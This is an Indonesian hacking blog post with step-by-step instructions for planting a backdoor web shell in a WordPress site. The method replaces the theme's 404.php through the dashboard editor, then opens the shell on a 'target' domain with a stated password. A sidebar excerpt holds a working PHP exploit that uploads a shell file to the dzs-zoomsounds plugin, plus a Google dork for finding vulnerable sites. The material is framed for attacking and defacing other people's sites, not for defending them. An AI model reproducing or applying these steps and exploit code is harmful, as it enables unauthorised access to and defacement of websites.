Skip to main content

Cara Mengupload Shell di Wordpress

By
Cara Mengupload Shell di Wordpress - WordPress adalah sebuah aplikasi sumber terbuka (open source) yang sangat populer digunakan sebagai mesin blog (blog engine). WordPress dibangun dengan bahasa pemrograman PHP dan basis data (database) MySQL. PHP dan MySQL, keduanya merupakan perangkat lunak sumber terbuka (open source software). Selain sebagai blog, WordPress juga mulai digunakan sebagai sebuah CMS (Content Management System) karena kemampuannya untuk dimodifikasi dan disesuaikan dengan kebutuhan penggunanya.

Sementara Backdoor atau "pintu belakang", dalam keamanan sistem komputer, merujuk kepada mekanisme yang dapat digunakan untuk mengakses sistem, aplikasi, atau jaringan, selain dari mekanisme yang umum digunakan (melalui proses logon atau proses autentikasi lainnya).  ( Dikutip dari Wikipedia.Org )

Baca Juga: Deface dengan Config


Cara Mengupload Shell ( Backdoor ) di Wordpress:

1. Login ke Dashboard Wordpress

Gambar 1: Dashboard Wordpress

2. Klik Appearance

Gambar 2: Dashboard Wordpress

3. Klik Themes


Gambar 3: Appearance

4. Klik Editor


Gambar 4: Themes Editor

5. Klik 404 Template atau 404.php
* Jika tidak ada 404 Template atau 404.php, anda bisa menggunakan Comments atau comments.php atau juga yang lainnya.

Gambar 5: Themes Editor
6. Ganti script 404.php dengan script shell ( Backdoor ) anda, jika anda belum punya script backdoor copy aja script dibawah ini lalu klik tombol Update File.




Gambar 6: Masuk ke Shell

Script Shell Backdoor (1n73ction 3.2) 
Maaf, script Backdoor (1n73ction 3.2) telah di hapus oleh admin.

http://targetmu.com/wp-content/themes/nama themes/404.php

Lihat pada Gambar 6, jika nama themesnya twentyfourteen. Berarti kita panggil shellnya seperti di bawah ini:http://targetmu.com/wp-content/themes/twentyfourteen/404.php

Gambar 7: Shell

8. Masukan password shell. "Jika anda menggunakan password"
jika anda menggunakan shell yang saya berikan tadi, berarti password shellnya adalah scupeid .

Gambar 8: Sukses

9. Jika anda berhasil menanamkan shell di blog wordpress, maka akan ada tampilan seperti gambar diatas (" Jika menggunakan Shell 1n73ction")


Now you can contact me on:




Semoga Bermanfaat
copyright © 2014 Scupe.Id



Labels:

Comments

Post a Comment

Popular posts from this blog

[Solved] Error relaunching VirtualBox VM Process: 5 | VirtualBox won't start

By
In this article we are going to discuss about the 'supR3HardenedWinReSpawn' error. When i was exploring the Cisco IOU  tool, I had to import a Cisco IOU VM which was in OVF file format. But as soon as i double click the ovf file, VM refused to start and an error popped up, saying: Error in supR3HardenedWinReSpawn Result Code: E_FAIL (0x80004005) Component: Machine Interface: IMachine {480cf695-2d8d-4256-9c7c-cce4184fa048} And another message was also given in addition to the above, Error relaunching VirtualBox VM process: 5 Command line: '81954AF5-4D2F-31EB-A142-B7AF187A1C41-suplib-2ndchild--comment Fedora32 --startvm fd699e30-a77b-4eac-8ced-1210d756855d --no-startvm-errormsgbox' (rc=-104) The error that you receive might not be as exact as it's given here, since VM details are also part of the error. For example, If you look at the error shown above, My VM name 'GNS3 IOU VM' is also part of the error.  Why do I see this error ? Well, When i was doing a litt...
Post a Comment
Read more

WordPress dzs-zoomsounds Plugins <= 2.0 - Remote File Upload Vulnerability

By
################################################################################################### # Exploit Title: WordPress dzs-zoomsounds Plugins Remote File Upload Vulnerability # Vendor : http: //digitalzoomstudio.net/docs/wpzoomsounds/ # Author: bl4ck-dz # Date : 28/05/2015 # Infected File: upload.php # Category: webapps # Google dork:inurl:/wp-content/plugins/dzs-zoomsounds/ # Tested on : Linux | Windows ################################################################################################### <?php $evil = "dz.phtml" ; $ch = curl_init( "http://127.0.0.1/wp-content/plugins/dzs-zoomsounds/admin/upload.php" ); curl_setopt( $ch , CURLOPT_POST, true); curl_setopt( $ch , CURLOPT_POSTFIELDS,          array ( 'file_field' => "@$evil" )); curl_setopt( $ch , CURLOPT_RETURNTRANSFER, 1); $postResult = curl_exec( $ch ); curl_close( $ch ); echo "$postResult" ; ?> Shell Access : http: //127.0.0.1/wp-content/plugins/dzs-zoo...
Post a Comment
Read more

How To Install Kali Linux In VMware Player

By
This tutorial will walk you through the difficult process of installing Kali Linux in VMware Player , a free virtual machine manager that can be downloaded from www.vmware.com . This tutorial assumes that you have some basic knowledge of your computer (amount of RAM, number of processors, x32 or x64 architecture, etc.) and that you’re using VMware Player as a virtual machine manager, not VMware Workstation or other software. Step One: First we need to download Kali from http://kali.org/downloads/ . If you have a 64-bit capable computer (like me), then you probably will want the 64-bit version of Kali for performance and compatibility reasons. Select the 64-bit version ONLY if you have a 64-bit computer . If you don’t have a 64-bit capable computer, or if you aren’t sure, then get the 32-bit version, as it will work on both architectures. Step Two: You can either direct download Kali through the browser’s download manager by clicking on ISO , or you can torrent it by clickin...
Post a Comment
Read more